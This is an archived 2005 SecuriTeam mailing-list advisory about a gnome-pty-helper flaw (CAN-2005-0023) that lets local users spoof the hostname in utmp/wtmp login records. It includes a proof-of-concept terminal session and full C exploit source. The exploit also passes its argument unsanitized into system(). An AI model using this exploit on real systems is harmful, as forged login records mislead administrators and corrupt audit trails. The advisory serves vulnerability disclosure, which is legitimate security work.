[UNIX] gnome-pty-helper utmp Display Spoofing

From: SecuriTeam (support_at_securiteam.com)
Date: 10/10/05

  • Next message: SecuriTeam: "[TOOL] GNessUs - GPL based Nessus"
    To: list@securiteam.com
    Date: 10 Oct 2005 16:06:16 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      gnome-pty-helper utmp Display Spoofing
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.gnome.org/> gnome-pty-helper is a program that setuid
    application used to open a pseudo-terminal, set the permissions,
    owner-ship and record user login information."

    gnome-pty-helper can be made to write utmp/wtmp records with arbitrary
    DISPLAY (host) settings.

    DETAILS

    gnome-pty-helper allows attackers to spoof a local UTMP hostname due to a
    failure of the application to properly validate user-supplied data prior
    to using it to update UTMP records.

    CVE Information:
     <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0023>
    CAN-2005-0023

    Proof of Concept:
    psz@savona:~$ gnome-pty-helper-exploit xyz & sleep 1; who; ps aux | grep
    psz; sleep 6; who
    [1] 31444
    Writing utmp (who) record for DISPLAY=xyz
    Running who | grep xyz
    psz pts/2 Sep 20 08:40 (xyz)
    utmp (who) record will be cleaned up when we exit.
    To leave it behind, kill gnome-pty-helper: kill 31446
    Sleeping for 5 secs...
    psz pts/2 Sep 20 08:40 (xyz)
    psz pts/1 Sep 20 08:33 (y622.yt.maths.usyd.edu.au:0.0)
    USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
    psz 31358 0.0 0.3 10340 7768 ? S 08:14 0:00 xterm -T
    psz@savona -n psz@savona -sb -sl 10000 -ls
    psz 31444 0.0 0.0 1484 380 pts/1 S 08:21 0:00
    gnome-pty-helper-exploit xyz
    psz 31446 0.0 0.0 1696 604 pts/1 S 08:21 0:00
    gnome-pty-helper
    psz 31454 0.0 0.0 2496 848 pts/1 R+ 08:21 0:00 ps aux
    [1]+ Done gnome-pty-helper-exploit xyz
    psz pts/1 Sep 20 08:33 (y622.yt.maths.usyd.edu.au:0.0)

    CODE:

    /*
        Must be compiled against (within)
     gnome-libs-1.4.2/zvt
        because it uses *.h files from there.
        Code "stolen" from subshell.c .
    */

    #include <sys/types.h>

    #include "subshell-includes.h"
    #define ZVT_TERM_DO_UTMP_LOG 1
    #define ZVT_TERM_DO_WTMP_LOG 2
    #define ZVT_TERM_DO_LASTLOG 4

    /* Pid of the helper SUID process */
    static pid_t helper_pid;

    /* The socketpair used for the protocol */
    int helper_socket_protocol [2];

    /* The parallel socketpair used to transfer file descriptors */
    int helper_socket_fdpassing [2];

    #include <sys/socket.h>
    #include <sys/uio.h>

    static struct cmsghdr *cmptr;
    #define CONTROLLEN sizeof (struct cmsghdr) + sizeof (int)

    static int
    receive_fd (int helper_fd)
    {
     struct iovec iov [1];
     struct msghdr msg;
     char buf [32];
     
     iov [0].iov_base = buf;
     iov [0].iov_len = sizeof (buf);
     msg.msg_iov = iov;
     msg.msg_iovlen = 1;
     msg.msg_name = NULL;
     msg.msg_namelen = 0;

     if (cmptr == NULL && (cmptr = malloc (CONTROLLEN)) == NULL)
      return -1;
     msg.msg_control = (caddr_t) cmptr;
     msg.msg_controllen = CONTROLLEN;

     if (recvmsg (helper_fd, &msg, 0) <= 0)
      return -1;

     return *(int *) CMSG_DATA (cmptr);
    }

    static int
    s_pipe (int fd [2])
    {
     return socketpair (AF_UNIX, SOCK_STREAM, 0, fd);
    }

    static void *
    get_ptys (int *master, int *slave, int update_wutmp)
    {
     GnomePtyOps op;
     int result, n;
     void *tag;
     
     if (helper_pid == -1)
      return NULL;

     if (helper_pid == 0){
      if (s_pipe (helper_socket_protocol) == -1)
       return NULL;

      if (s_pipe (helper_socket_fdpassing) == -1){
       close (helper_socket_protocol [0]);
       close (helper_socket_protocol [1]);
       return NULL;
      }
      
      helper_pid = fork ();
      
      if (helper_pid == -1){
       close (helper_socket_protocol [0]);
       close (helper_socket_protocol [1]);
       close (helper_socket_fdpassing [0]);
       close (helper_socket_fdpassing [1]);
       return NULL;
      }

      if (helper_pid == 0){
       close (0);
       close (1);
       dup2 (helper_socket_protocol [1], 0);
       dup2 (helper_socket_fdpassing [1], 1);

       /* Close aliases */
       close (helper_socket_protocol [0]);
       close (helper_socket_protocol [1]);
       close (helper_socket_fdpassing [0]);
       close (helper_socket_fdpassing [1]);

       execl ("/usr/sbin/gnome-pty-helper", "gnome-pty-helper", NULL);
       exit (1);
      } else {
       close (helper_socket_fdpassing [1]);
       close (helper_socket_protocol [1]);

       /*
        * Set the close-on-exec flag for the other
        * descriptors, these should never propagate
        * (otherwise gnome-pty-heler wont notice when
        * this process is killed).
        */
       fcntl (helper_socket_protocol [0], F_SETFD, FD_CLOEXEC);
       fcntl (helper_socket_fdpassing [0], F_SETFD, FD_CLOEXEC);
      }
     }
     op = GNOME_PTY_OPEN_NO_DB_UPDATE;
     
     if (update_wutmp & ZVT_TERM_DO_UTMP_LOG){
      if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
       op = GNOME_PTY_OPEN_PTY_LASTLOGUWTMP;
      else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
       op = GNOME_PTY_OPEN_PTY_UWTMP;
      else if (update_wutmp & ZVT_TERM_DO_LASTLOG)
       op = GNOME_PTY_OPEN_PTY_LASTLOGUTMP;
      else
       op = GNOME_PTY_OPEN_PTY_UTMP;
     } else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG) {
      if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
       op = GNOME_PTY_OPEN_PTY_LASTLOGWTMP;
      else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
       op = GNOME_PTY_OPEN_PTY_WTMP;
     } else
      if (update_wutmp & ZVT_TERM_DO_LASTLOG)
       op = GNOME_PTY_OPEN_PTY_LASTLOG;
     
     if (write (helper_socket_protocol [0], &op, sizeof (op)) < 0)
      return NULL;
     
     n = read (helper_socket_protocol [0], &result, sizeof (result));
     if (n == -1 || n != sizeof (result)){
      helper_pid = 0;
      return NULL;
     }
     
     if (result == 0)
      return NULL;

     n = read (helper_socket_protocol [0], &tag, sizeof (tag));
     
     if (n == -1 || n != sizeof (tag)){
      helper_pid = 0;
      return NULL;
     }

     *master = receive_fd (helper_socket_fdpassing [0]);
     *slave = receive_fd (helper_socket_fdpassing [0]);
     
     return tag;
    }

    int main (int argc, char* argv[])
    {
     int slave_pty, master_pty;
     void* mytag;
     int log = ZVT_TERM_DO_UTMP_LOG;
     char buf[1000];

    printf("Writing utmp (who) record for DISPLAY=%s\n", argv[1]);
    setenv("DISPLAY",argv[1],1);

     if ((mytag = get_ptys (&master_pty, &slave_pty, log)) == NULL)
      return;

    sprintf(buf,"who | grep %s",argv[1]);
    printf("Running %s\n",buf);
    system(buf);
    printf("utmp (who) record will be cleaned up when we exit.\n");
    printf("To leave it behind, kill gnome-pty-helper: kill %d\n",helper_pid);

    printf("Sleeping for 5 secs...\n");
    sleep (5);
    }

    /* EoF */

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:psz@maths.usyd.edu.au> Paul
    Szabo.
    Debian Bug report can be found at:
    <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=330907>
    http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=330907
    The vendor bug report can be found at:
    <http://bugzilla.gnome.org/show_bug.cgi?id=317312>
    http://bugzilla.gnome.org/show_bug.cgi?id=317312

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[TOOL] GNessUs - GPL based Nessus"

    Relevant Pages

    • [NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Buffer Overflows) ... The buffers in which the server stores these two strings have a size of 64 ... int alen, ulen; ...
      (Securiteam)
    • [UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... cfservd daemon in Cfengine 2.x prior to version 2.0.8. ... unsigned int len = 0; ... void getshell; ...
      (Securiteam)
    • [UNIX] Remote Format String Vulnerabilities in eXtremail Server (MAIL FROM, Reappearing)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... to promote the most advanced vulnerability assessment solutions today. ... int send_sock; ... strncat (buf, "a", 1); ...
      (Securiteam)
    • [NT] eTrust Secure Content Manager Denial of Service
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int putxx(u8 *data, u32 num, int bits); ... send(sd, buff, p - buff, 0); ...
      (Securiteam)
    • [NT] Stronghold DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... In the packet used for joining the server is locatd the client's nickname ... unsigned char *gssdkcr( ... void show_info(u_char *data, int len); ...
      (Securiteam)